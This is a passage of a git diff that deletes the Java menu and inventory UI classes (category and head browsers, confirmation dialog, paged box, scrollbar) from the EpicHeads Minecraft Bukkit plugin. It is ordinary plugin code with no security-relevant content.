org.bukkit.Material; - -import java.util.List; -import java.util.function.Function; - -public class CacheHeadsMenu extends Element { - - public static final Item defaultClose = Item.create(Material.REDSTONE_BLOCK).name("&cClose Menu"); - public static final Item defaultBack = Item.create(Material.REDSTONE_BLOCK).name("&cBack to Categories"); - public static final Item defaultSearch = Item.create(Material.COMPASS).name("&7Search Heads"); - public static final String defaultCategoriesTitle = "Categories"; - public static final String defaultCategoryTitle = "%category%"; - - public static final Template defaultTemplate = new Template(CategoriesMenu.defaultTemplate, HeadsMenu.defaultTemplate, defaultClose, defaultBack, defaultSearch, defaultCategoriesTitle, defaultCategoryTitle); - - private Template template; - - private final CacheFile cache; - private final InventoryMenu inventoryMenu; - - private final CategoriesMenu categoriesMenu; - private final HeadsMenu headsMenu; - - private String selectedCategory = null; - - public CacheHeadsMenu(CacheFile cache, InventoryMenu inventoryMenu, Bounds bounds, Function onSelect) { - super(bounds); - - Checks.ensureNonNull(cache, "cache"); - Checks.ensureNonNull(inventoryMenu, "inventoryMenu"); - Checks.ensureNonNull(onSelect, "onSelect"); - Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3"); - - this.cache = cache; - this.inventoryMenu = inventoryMenu; - - this.categoriesMenu = new CategoriesMenu(cache, bounds, this::selectCategory); - this.headsMenu = new HeadsMenu(bounds, onSelect); - - setTemplate(defaultTemplate); - } - - public boolean onCategoriesScreen() { - return selectedCategory == null; - } - - public MenuResponse close() { - return MenuResponse.CLOSE; - } - - public MenuResponse back() { - this.selectedCategory = null; - - inventoryMenu.setTitle(template.getCategoriesTitle()); - - return MenuResponse.UPDATE; - } - - public MenuResponse search() { - inventoryMenu.getPlayer().sendMessage("Search"); - - return MenuResponse.NONE; - } - - public MenuResponse selectCategory(String category) { - Checks.ensureNonNull(category, "category"); - - List heads = cache.getCategoryHeads(category); - - if (heads.size() == 0) { - return back(); - } - - this.selectedCategory = category; - this.headsMenu.setItems(heads); - - inventoryMenu.setTitle(template.getCategoryTitle(category)); - - return MenuResponse.UPDATE; - } - - @Override - public Button[] getItems() { - if (onCategoriesScreen()) { - return categoriesMenu.getItems(); - } else { - return headsMenu.getItems(); - } - } - - public void setTemplate(Template template) { - Checks.ensureNonNull(template, "template"); - - this.template = template; - this.template.init(this); - - if (onCategoriesScreen()) { - inventoryMenu.setTitle(template.getCategoriesTitle()); - } else { - inventoryMenu.setTitle(template.getCategoryTitle(selectedCategory)); - } - } - - @Override - public String toString() { - return Stringify.builder().entry("template", template).entry("cache", cache).entry("headsMenu", headsMenu).entry("categoriesMenu", categoriesMenu).toString(); - } - - public static final class Template { - - private final CategoriesMenu.Template categoriesTemplate; - private final HeadsMenu.Template headsTemplate; - private final Item close; - private final Item back; - private final Item search; - private final String categoriesTitle; - private final String categoryTitle; - - public Template(CategoriesMenu.Template categoriesTemplate, HeadsMenu.Template headsTemplate, Item close, Item back, Item search, String categoriesTitle, String categoryTitle) { - - Checks.ensureNonNull(categoriesTemplate, "categoriesTemplate"); - Checks.ensureNonNull(headsTemplate, "headsTemplate"); - Checks.ensureNonNull(close, "close"); - Checks.ensureNonNull(back, "back"); - Checks.ensureNonNull(search, "search"); - Checks.ensureNonNull(categoriesTemplate, "categoriesTemplate"); - Checks.ensureNonNull(categoryTitle, "categoryTitle"); - - this.categoriesTemplate = categoriesTemplate; - this.headsTemplate = headsTemplate; - this.close = close; - this.back = back; - this.search = search; - this.categoriesTitle = ChatColor.translateAlternateColorCodes('&', categoriesTitle); - this.categoryTitle = ChatColor.translateAlternateColorCodes('&', categoryTitle); - } - - public String getCategoriesTitle() { - return categoriesTitle; - } - - public String getCategoryTitle(String category) { - return categoryTitle.replace("%category%", category); - } - - private void init(CacheHeadsMenu menu) { - Button close = this.close.buildButton(menu::close); - Button back = this.back.buildButton(menu::back); - Button search = this.search.buildButton(menu::search); - - menu.categoriesMenu.setTemplate(categoriesTemplate, close, search); - menu.headsMenu.setTemplate(headsTemplate, back, search); - } - - @Override - public String toString() { - return Stringify.builder().entry("categoriesTemplate", categoriesTemplate).entry("headsTemplate", headsTemplate).toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/menu/CategoriesMenu.java b/main/java/com/songoda/epicheads/menu/CategoriesMenu.java deleted file mode 100644 index 8dbcb19..0000000 --- a/main/java/com/songoda/epicheads/menu/CategoriesMenu.java +++ /dev/null @@ -1,131 +0,0 @@ -package com.songoda.epicheads.menu; - -import com.songoda.epicheads.cache.CacheFile; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.menu.ui.element.Element; -import com.songoda.epicheads.menu.ui.element.PagedBox; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.SafeCall; -import com.songoda.epicheads.util.Stringify; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.inventory.ItemStack; - -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -import java.util.function.Function; - -public class CategoriesMenu extends Element { - - public static final Item defaultCategoryItem = Items.createSkull() - .name("&7%category%") - .lore("&6%heads% &eheads"); - - public static final Template defaultTemplate = new Template(PagedBox.defaultTemplate, defaultCategoryItem); - - private Template template; - - private final CacheFile cache; - private final Function onSelect; - - private final PagedBox pagedBox; - - public CategoriesMenu(CacheFile cache, Bounds bounds, Function onSelect) { - super(bounds); - - Checks.ensureNonNull(cache, "cache"); - Checks.ensureNonNull(onSelect, "onSelect"); - Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3"); - - this.cache = cache; - this.onSelect = SafeCall.nonNullFunction(onSelect, "onSelect"); - this.pagedBox = new PagedBox(bounds); - - setTemplate(defaultTemplate, PagedBox.defaultLeftControl, PagedBox.defaultRightControl); - - updateItems(); - } - - @Override - public Button[] getItems() { - return pagedBox.getItems(); - } - - private void updateItems() { - List categories = new ArrayList<>(cache.getCategories()); - Button[] categoryItems = new Button[categories.size() * 2 + 4]; - - Collections.sort(categories); - - for(int index = 0; index < categories.size(); ++index) { - String category = categories.get(index); - - categoryItems[index * 2] = template.constructCategoryButton(this, category); - } - - pagedBox.setItems(categoryItems); - } - - public void setTemplate(Template template, Button leftControl, Button rightControl) { - Checks.ensureNonNull(template, "template"); - - this.template = template; - this.template.init(this, leftControl, rightControl); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("template", template) - .entry("onSelect", onSelect) - .entry("pagedBox", pagedBox).toString(); - } - - public static final class Template { - - private final PagedBox.Template pagedBoxTemplate; - private final Item categoryItem; - - public Template(PagedBox.Template pagedBoxTemplate, Item categoryItem) { - Checks.ensureNonNull(pagedBoxTemplate, "pagedBoxTemplate"); - Checks.ensureNonNull(categoryItem, "categoryItem"); - - this.pagedBoxTemplate = pagedBoxTemplate; - this.categoryItem = categoryItem; - } - - private void init(CategoriesMenu menu, Button leftControl, Button rightControl) { - menu.pagedBox.setTemplate(pagedBoxTemplate, leftControl, rightControl); - } - - public Button constructCategoryButton(CategoriesMenu menu, String category) { - Checks.ensureNonNull(menu, "menu"); - Checks.ensureNonNull(category, "category"); - - List categoryHeads = menu.cache.getCategoryHeads(category); - CacheHead iconHead = categoryHeads.get(0); - - Placeholder categoryPlaceholder = new Placeholder("%category%", category); - Placeholder headCountPlaceholder = new Placeholder("%heads%", categoryHeads.size()); - - ItemStack icon = categoryItem.build(categoryPlaceholder, headCountPlaceholder); - icon = iconHead.addTexture(icon); - - return new Button(icon, () -> menu.onSelect.apply(category)); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("pagedBoxTemplate", pagedBoxTemplate) - .entry("categoryItem", categoryItem).toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ConfirmationMenu.java b/main/java/com/songoda/epicheads/menu/ConfirmationMenu.java deleted file mode 100644 index 9c325d7..0000000 --- a/main/java/com/songoda/epicheads/menu/ConfirmationMenu.java +++ /dev/null @@ -1,108 +0,0 @@ -package com.songoda.epicheads.menu; - -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.menu.ui.Position; -import com.songoda.epicheads.menu.ui.element.Container; -import com.songoda.epicheads.menu.ui.element.Element; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.SafeCall; -import com.songoda.epicheads.util.Stringify; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.Material; - -import java.util.concurrent.Callable; - -public class ConfirmationMenu extends Element { - - public static final Item defaultAccept = Items.createGreenStainedClay().name("&aAccept"); - public static final Item defaultDecline = Items.createRedStainedClay().name("&cDecline"); - public static final Button defaultSubject = Item.create(Material.AIR).buildButton(); - - public static final Template defaultTemplate = new Template(defaultAccept, defaultDecline); - - private Template template; - - private final Callable onAccept; - private final Callable onDecline; - - private Button subject; - - public ConfirmationMenu(Bounds bounds, Callable onAccept, Callable onDecline) { - super(bounds); - - Checks.ensureNonNull(onAccept, "onAccept"); - Checks.ensureNonNull(onDecline, "onDecline"); - Checks.ensureTrue(bounds.width >= 3, "bounds must have a width of at least 3"); - Checks.ensureTrue(bounds.width >= 2, "bounds must have a height of at least 2"); - - this.onAccept = SafeCall.nonNullCallable(onAccept, "onAccept"); - this.onDecline = SafeCall.nonNullCallable(onDecline, "onDecline"); - - setTemplate(defaultTemplate, defaultSubject); - } - - @Override - public Button[] getItems() { - Container container = new Container(bounds); - - Position subjectPosition = new Position(bounds.width / 2, (bounds.height - 1) / 3); - Position acceptPosition = new Position(bounds.width / 3, (bounds.height - 1) * 2 / 3); - Position declinePosition = new Position(bounds.width * 2 / 3, (bounds.height - 1) * 2 / 3); - - container.setItem(subjectPosition, subject); - container.setItem(acceptPosition, template.constructAccept(this)); - container.setItem(declinePosition, template.constructDecline(this)); - - return container.getItems(); - } - - public void setTemplate(Template template, Button subject) { - Checks.ensureNonNull(template, "template"); - - this.template = template; - this.subject = subject; - } - - @Override - public String toString() { - return Stringify.builder() - .entry("template", template) - .entry("subject", subject) - .entry("onAccept", onAccept) - .entry("onDecline", onDecline).toString(); - } - - public static final class Template { - - private final Item accept; - private final Item decline; - - public Template(Item accept, Item decline) { - Checks.ensureNonNull(accept, "accept"); - Checks.ensureNonNull(decline, "decline"); - - this.accept = accept; - this.decline = decline; - } - - public Button constructAccept(ConfirmationMenu menu) { - return accept.buildButton(menu.onAccept); - } - - public Button constructDecline(ConfirmationMenu menu) { - return accept.buildButton(menu.onDecline); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("accept", accept) - .entry("decline", decline).toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/menu/HeadsMenu.java b/main/java/com/songoda/epicheads/menu/HeadsMenu.java deleted file mode 100644 index d1eeeca..0000000 --- a/main/java/com/songoda/epicheads/menu/HeadsMenu.java +++ /dev/null @@ -1,120 +0,0 @@ -package com.songoda.epicheads.menu; - -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.menu.ui.element.Element; -import com.songoda.epicheads.menu.ui.element.PagedBox; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.SafeCall; -import com.songoda.epicheads.util.Stringify; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.inventory.ItemStack; - -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; -import java.util.function.Function; - -public class HeadsMenu extends Element { - - public static final Item defaultHead = Items.createSkull().name("&7%name%").lore("&eCost: &6%cost%"); - - public static final Template defaultTemplate = new Template(PagedBox.defaultTemplate, defaultHead); - - private Template template; - - private final Function onSelect; - - private final List heads = new ArrayList<>(); - private final PagedBox pagedBox; - - public HeadsMenu(Bounds bounds, Function onSelect) { - super(bounds); - - Checks.ensureNonNull(onSelect, "onSelect"); - Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3"); - - this.onSelect = SafeCall.nonNullFunction(onSelect, "onHeadSelect"); - this.pagedBox = new PagedBox(bounds); - - setTemplate(defaultTemplate, PagedBox.defaultLeftControl, PagedBox.defaultRightControl); - } - - public void setItems(Collection heads) { - this.heads.clear(); - this.heads.addAll(heads); - - updateItems(); - } - - @Override - public Button[] getItems() { - return pagedBox.getItems(); - } - - private void updateItems() { - Button[] items = new Button[heads.size()]; - - for(int index = 0; index < heads.size(); ++index) { - CacheHead head = heads.get(index); - - items[index] = template.constructHead(this, head); - } - - pagedBox.setItems(items); - } - - public void setTemplate(Template template, Button leftControl, Button rightControl) { - Checks.ensureNonNull(template, "template"); - - this.template = template; - this.template.init(this, leftControl, rightControl); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("template", template) - .entry("onSelect", onSelect) - .entry("pagedBox", pagedBox) - .entry("heads", heads).toString(); - } - - public static final class Template { - - private final PagedBox.Template pagedBoxTemplate; - private final Item headItem; - - public Template(PagedBox.Template pagedBoxTemplate, Item headItem) { - Checks.ensureNonNull(pagedBoxTemplate, "pagedBoxTemplate"); - Checks.ensureNonNull(headItem, "headItem"); - - this.pagedBoxTemplate = pagedBoxTemplate; - this.headItem = headItem; - } - - private void init(HeadsMenu menu, Button leftControl, Button rightControl) { - menu.pagedBox.setTemplate(pagedBoxTemplate, leftControl, rightControl); - } - - public Button constructHead(HeadsMenu menu, CacheHead head) { - ItemStack item = headItem.build(head.getPlaceholders(null)); - - item = head.addTexture(item); - - return new Button(item, () -> menu.onSelect.apply(head)); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("pagedBoxTemplate", pagedBoxTemplate) - .entry("headItem", headItem).toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/Bounds.java b/main/java/com/songoda/epicheads/menu/ui/Bounds.java deleted file mode 100644 index 339d299..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/Bounds.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.songoda.epicheads.menu.ui; - -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; - -public final class Bounds { - - public final Position position; - public final int width; - public final int height; - - public Bounds(int x, int y, int width, int height) { - this(new Position(x, y), width, height); - } - - public Bounds(Position position, int width, int height) { - Checks.ensureNonNull(position, "position"); - Checks.ensureTrue(width > 0, "width must be greater than 0"); - Checks.ensureTrue(height > 0, "height must be greater than 0"); - - this.position = position; - this.width = width; - this.height = height; - } - - public int getVolume() { - return this.width * this.height; - } - - public Position[] getCorners() { - return new Position[] { - position, - position.add(0, height - 1), - position.add(width - 1, 0), - position.add(width - 1, height - 1) - }; - } - - public boolean inBounds(Position pos) { - return pos.x >= position.x && pos.y >= position.y && pos.x < position.x + width && pos.y < position.y + height; - } - - public boolean inBounds(Bounds other) { - for(Position corner : other.getCorners()) { - if(!inBounds(corner)) - return false; - } - return true; - } - - public boolean collides(Bounds other) { - for(Position corner : other.getCorners()) { - if(inBounds(corner)) - return true; - } - - for(Position corner : getCorners()) { - if(other.inBounds(corner)) - return true; - } - - return false; - } - - @Override - public String toString() { - return Stringify.builder() - .entry("position", position) - .entry("width", width) - .entry("height", height).toString(); - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/InventoryMenu.java b/main/java/com/songoda/epicheads/menu/ui/InventoryMenu.java deleted file mode 100644 index 549c900..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/InventoryMenu.java +++ /dev/null @@ -1,166 +0,0 @@ -package com.songoda.epicheads.menu.ui; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.menu.ui.element.Container; -import com.songoda.epicheads.menu.ui.element.Element; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; -import org.bukkit.Bukkit; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; -import org.bukkit.inventory.Inventory; -import org.bukkit.inventory.InventoryHolder; -import org.bukkit.inventory.InventoryView; -import org.bukkit.inventory.ItemStack; - -import java.util.ArrayList; -import java.util.List; - -public class InventoryMenu implements InventoryHolder { - - private final Player player; - public final Bounds bounds; - - private final List elements = new ArrayList<>(); - - private Container container; - private Inventory inventory; - private String title; - private Inventory newInventory; - private String newTitle; - - public InventoryMenu(Player player, String title, int rows) { - Checks.ensureNonNull(player, "player"); - - this.player = player; - this.bounds = new Bounds(Position.ZERO, 9, rows); - this.container = new Container(bounds); - - setTitle(title); - } - - public Player getPlayer() { - return player; - } - - @Override - public Inventory getInventory() { - return inventory; - } - - public boolean hasMenuOpen() { - InventoryView view = player.getOpenInventory(); - - if (view == null || view.getTopInventory() == null) - return false; - - InventoryHolder holder = view.getTopInventory().getHolder(); - - return holder != null && holder.equals(this); - } - - public void removeElement(Element element) { - Checks.ensureNonNull(element, "element"); - - elements.remove(element); - } - - public void addElement(Element element) { - Checks.ensureNonNull(element, "element"); - Checks.ensureTrue(bounds.inBounds(element.bounds), "element's bounds is not within the bounds of the menu"); - - elements.add(element); - } - - public List getElements() { - return elements; - } - - public void open() { - updateMenu(); - player.openInventory(inventory); - } - - public void setTitle(String title) { - Checks.ensureNonNull(title, "title"); - - if (inventory != null && title.equals(this.title)) - return; - - title = (title.length() > 32 ? title.substring(0, 32) : title); - this.title = title; - - this.newInventory = Bukkit.createInventory(this, bounds.getVolume(), title); - } - - private boolean swapToNewInventory() { - if (newInventory == null) - return false; - - inventory = newInventory; - title = newTitle; - newInventory = null; - - return true; - } - - public void layoutElements() { - container.clear(); - - elements.forEach(container::addElement); - } - - public void updateMenu() { - boolean newInventory = swapToNewInventory(); - - layoutElements(); - - Button[] items = container.getItems(); - ItemStack[] contents = new ItemStack[items.length]; - - for (int index = 0; index < contents.length; index++) { - Button item = items[index]; - - if (item != null) { - contents[index] = item.getItem(); - } - } - - inventory.setContents(contents); - - if (newInventory && hasMenuOpen()) { - player.openInventory(inventory); - } - } - - public void onClick(InventoryClickEvent event) { - event.setCancelled(true); - - // Make sure the player's inventory is up to date after the event is cancelled - Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), player::updateInventory, 1); - - int slot = event.getRawSlot(); - - MenuResponse response = container.handleClick(slot); - - switch (response) { - case CLOSE: - player.closeInventory(); - break; - case UPDATE: - updateMenu(); - break; - case NONE: - break; - default: - throw new IllegalStateException("Unknown MenuResponse value " + response); - } - } - - @Override - public String toString() { - return Stringify.builder().previous(super.toString()).entry("inventory", inventory).entry("player", player).toString(); - } - -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/menu/ui/MenuResponse.java b/main/java/com/songoda/epicheads/menu/ui/MenuResponse.java deleted file mode 100644 index 5b649ee..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/MenuResponse.java +++ /dev/null @@ -1,9 +0,0 @@ -package com.songoda.epicheads.menu.ui; - -public enum MenuResponse { - - CLOSE, - UPDATE, - NONE - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/Position.java b/main/java/com/songoda/epicheads/menu/ui/Position.java deleted file mode 100644 index c129804..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/Position.java +++ /dev/null @@ -1,40 +0,0 @@ -package com.songoda.epicheads.menu.ui; - -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; - -public final class Position { - - public static final Position ZERO = new Position(0, 0); - - public final int x; - public final int y; - - public Position(int x, int y) { - Checks.ensureTrue(x >= 0, "x must be at least 0"); - Checks.ensureTrue(y >= 0, "y must be at least 0"); - - this.x = x; - this.y = y; - } - - public Position add(Position other) { - return new Position(x + other.x, y + other.y); - } - - public Position add(int x, int y) { - return new Position(this.x + x, this.y + y); - } - - public int toSerialIndex(int width) { - return x + y * width; - } - - @Override - public String toString() { - return Stringify.builder() - .entry("x", x) - .entry("y", y).toString(); - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/element/Container.java b/main/java/com/songoda/epicheads/menu/ui/element/Container.java deleted file mode 100644 index 65300b5..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/element/Container.java +++ /dev/null @@ -1,70 +0,0 @@ -package com.songoda.epicheads.menu.ui.element; - -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.menu.ui.Position; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.util.Checks; - -import java.util.Arrays; - -public final class Container extends Element { - - private final Button[] items; - - public Container(Bounds bounds) { - super(bounds); - - this.items = new Button[bounds.getVolume()]; - } - - @Override - public Button[] getItems() { - return items; - } - - public void addElement(Element element) { - setItems(element.bounds, element.getItems()); - } - - public void setItems(Bounds bounds, Button[] items) { - Checks.ensureNonNull(bounds, "bounds"); - Checks.ensureNonNull(items, "items"); - Checks.ensureTrue(items.length == bounds.getVolume(), "length of items does not match the volume of bounds"); - Checks.ensureTrue(this.bounds.inBounds(bounds), "bounds is not within the bounds of the container"); - - for(int x = 0; x < bounds.width; x++) { - for(int y = 0; y < bounds.height; y++) { - Position fromPos = new Position(x, y); - Position toPos = fromPos.add(bounds.position); - - this.items[toPos.toSerialIndex(this.bounds.width)] = items[fromPos.toSerialIndex(bounds.width)]; - } - } - } - - public void setItem(int x, int y, Button item) { - setItem(new Position(x, y), item); - } - - public void setItem(Position position, Button item) { - Checks.ensureNonNull(position, "position"); - Checks.ensureTrue(bounds.inBounds(position), "position is not within the bounds of the container"); - - items[position.toSerialIndex(bounds.width)] = item; - } - - public void clear() { - Arrays.fill(items, null); - } - - public MenuResponse handleClick(int slot) { - Checks.ensureTrue(slot >= 0, "slot cannot be less than 0"); - Checks.ensureTrue(slot < items.length, "slot must be less than the volume of the container"); - - Button item = items[slot]; - - return item == null ? MenuResponse.NONE : item.handleClick(); - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/element/Element.java b/main/java/com/songoda/epicheads/menu/ui/element/Element.java deleted file mode 100644 index dde5cda..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/element/Element.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.songoda.epicheads.menu.ui.element; - -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; - -public abstract class Element { - - public final Bounds bounds; - - public Element(Bounds bounds) { - Checks.ensureNonNull(bounds, "bounds"); - - this.bounds = bounds; - } - - protected abstract Button[] getItems(); - - @Override - public String toString() { - return Stringify.builder() - .entry("bounds", bounds).toString(); - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/element/PagedBox.java b/main/java/com/songoda/epicheads/menu/ui/element/PagedBox.java deleted file mode 100644 index 832a9fb..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/element/PagedBox.java +++ /dev/null @@ -1,221 +0,0 @@ -package com.songoda.epicheads.menu.ui.element; - -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.menu.ui.item.ButtonGroup; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.menu.ui.item.SelectableButton; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.Material; -import org.bukkit.inventory.ItemStack; - -public class PagedBox extends Element { - - public static final Item defaultUnselected = Item.create(Material.PAPER).name("&7Page %page%"); - public static final Item defaultSelected = Items.createEmptyMap().name("&7Page %page%"); - public static final Button defaultLeftControl = Item.create(Material.REDSTONE_BLOCK).name("&cNo left control").buildButton(); - public static final Button defaultRightControl = Item.create(Material.REDSTONE_BLOCK).name("&cNo right control").buildButton(); - - public static final Template defaultTemplate = new Template( - Scrollbar.defaultTemplate, defaultUnselected, defaultSelected - ); - - private Template template; - - private final Scrollbar scrollbar; - private ButtonGroup pageButtons; - - private Button leftControl; - private Button rightControl; - - private Button[] items; - private int page; - - public PagedBox(Bounds bounds) { - super(bounds); - - Checks.ensureTrue(bounds.height >= 2, "bounds height must be at least 2"); - Checks.ensureTrue(bounds.width >= 5, "bounds width must be at least 3"); - - Bounds scrollbarBounds = new Bounds(1, bounds.height - 1, bounds.width - 2, 1); - - this.scrollbar = new Scrollbar(scrollbarBounds); - this.pageButtons = new ButtonGroup(); - - this.items = new Button[0]; - this.page = 0; - - setTemplate(defaultTemplate, defaultLeftControl, defaultRightControl); - } - - public boolean isScrollbarActive() { - return items.length > bounds.getVolume(); - } - - private Bounds getPageBounds() { - return isScrollbarActive() ? new Bounds(bounds.position, bounds.width, bounds.height - 1) : bounds; - } - - public int getPageSize() { - return getPageBounds().getVolume(); - } - - public int getPages() { - int pageSize = getPageSize(); - - return (items.length + pageSize - 1) / pageSize; - } - - private static int clamp(int num, int min, int max) { - return (num < min ? min : (num > max ? max : num)); - } - - public void setPage(int page) { - this.page = clamp(page, 0, getPages() - 1); - - scrollbar.scrollTo(page); - pageButtons.select(page); - } - - @Override - public Button[] getItems() { - Container container = new Container(bounds); - - container.setItems(getPageBounds(), getPageContents()); - - container.addElement(scrollbar); - container.setItem(0, bounds.height - 1, leftControl); - container.setItem(bounds.width - 1, bounds.height - 1, rightControl); - - return container.getItems(); - } - - private Button[] getPageContents() { - int pageSize = getPageSize(); - - int from = page * pageSize; - int to = Math.min((page + 1) * pageSize, items.length); - - if(to <= from) - return new Button[pageSize]; - - Button[] pageContents = new Button[pageSize]; - - System.arraycopy(items, from, pageContents, 0, to - from); - - return pageContents; - } - - public void setTemplate(Template template, Button leftControl, Button rightControl) { - Checks.ensureNonNull(template, "template"); - - this.template = template; - this.leftControl = leftControl; - this.rightControl = rightControl; - this.template.init(this); - - setupPageScrollbar(); - } - - public void setItems(Button[] items) { - Checks.ensureNonNull(items, "items"); - - this.items = items; - this.page = 0; - - setupPageScrollbar(); - } - - private void setupPageScrollbar() { - int pages = getPages(); - - Button[] pageItems = new Button[pages]; - - pageButtons = new ButtonGroup(); - - for(int page = 0; page < pages; page++) { - SelectableButton pageButton = template.constructPageButton(this, pageButtons, page); - - pageButton.setSelected(page == this.page); - - pageItems[page] = pageButton; - } - - scrollbar.setItems(pageItems); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("template", template) - .entry("scrollbar", scrollbar) - .entry("pageButtons", pageButtons) - .entry("leftControl", leftControl) - .entry("rightControl", rightControl) - .entry("page", page).toString(); - } - - public static final class Template { - - private final Scrollbar.Template scrollbar; - private final Item unselected; - private final Item selected; - - public Template(Scrollbar.Template scrollbar, Item unselected, Item selected) { - - Checks.ensureNonNull(scrollbar, "scrollbar"); - Checks.ensureNonNull(unselected, "unselected"); - Checks.ensureNonNull(selected, "selected"); - - this.scrollbar = scrollbar; - this.unselected = unselected; - this.selected = selected; - } - - public void init(PagedBox pagedBox) { - pagedBox.scrollbar.setTemplate(scrollbar); - } - - private ItemStack constructPageItem(Item templateItem, int page) { - int humanPage = page + 1; - Placeholder pagePlaceholder = new Placeholder("%page%", humanPage); - - ItemStack item = templateItem.build(pagePlaceholder); - item.setAmount(humanPage > 60 ? (humanPage % 10 == 0 ? 10 : humanPage % 10) : humanPage); - - return item; - } - - public ItemStack constructUnselectedPageItem(int page) { - return constructPageItem(unselected, page); - } - - public ItemStack constructSelectedPageItem(int page) { - return constructPageItem(selected, page); - } - - public SelectableButton constructPageButton(PagedBox pagedBox, ButtonGroup group, int page) { - ItemStack unselectedItem = constructUnselectedPageItem(page); - ItemStack selectedItem = constructSelectedPageItem(page); - - return new SelectableButton(group, unselectedItem, selectedItem, () -> { - pagedBox.setPage(page); - return MenuResponse.UPDATE; - }); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("scrollbar", scrollbar) - .entry("unselected", unselected) - .entry("selected", selected).toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/element/Scrollbar.java b/main/java/com/songoda/epicheads/menu/ui/element/Scrollbar.java deleted file mode 100644 index c7c2433..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/element/Scrollbar.java +++ /dev/null @@ -1,200 +0,0 @@ -package com.songoda.epicheads.menu.ui.element; - -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.Material; - -import java.util.Arrays; - -public class Scrollbar extends Element { - - public static final Item defaultLeft = Item.create(Material.ARROW).name("&7Left"); - public static final Item defaultRight = Item.create(Material.ARROW).name("&7Right"); - public static final Item defaultNoLeft = Item.create(Material.AIR); - public static final Item defaultNoRight = Item.create(Material.AIR); - public static final Item defaultFiller = Items.createBlackStainedGlassPane().name(" "); - - public static final Template defaultTemplate = new Template( - defaultLeft, defaultRight, - defaultNoLeft, defaultNoRight, - defaultFiller - ); - - private Template template; - - private Button[] items; - private int index; - - public Scrollbar(Bounds bounds) { - super(bounds); - - Checks.ensureTrue(bounds.width >= 3, "The width of bounds must be at least 3"); - Checks.ensureTrue(bounds.height == 1, "The height of bounds must be 1"); - - this.items = new Button[0]; - this.index = 0; - - setTemplate(defaultTemplate); - } - - public boolean isScrollActive() { - return items.length > bounds.width; - } - - public int getVisibleItems() { - return isScrollActive() ? bounds.width - 2 : bounds.width; - } - - public int getMaxScroll() { - return isScrollActive() ? items.length - 